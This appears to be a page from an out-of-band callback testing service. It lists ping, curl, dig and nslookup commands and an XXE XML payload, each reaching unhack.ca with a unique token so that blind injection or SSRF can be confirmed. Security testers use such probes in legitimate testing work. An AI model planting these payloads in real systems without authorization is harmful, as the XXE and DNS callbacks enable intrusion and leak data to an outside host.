$ ping -c1 -p 004040a26acb6b825ca5097ba69e7400 unhack.ca
 
$ curl http://unhack.ca/p/4040a26acb6b825ca5097ba69e74
 
$ dig 4040a26acb6b825ca5097ba69e74 @unhack.ca
 
$ dig 4040a26acb6b825ca5097ba69e74.ns.unhack.ca
 
C:\> nslookup 4040a26acb6b825ca5097ba69e74 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4040a26acb6b825ca5097ba69e74">]>
    <foo>&xxe;</foo>
Waiting for ping...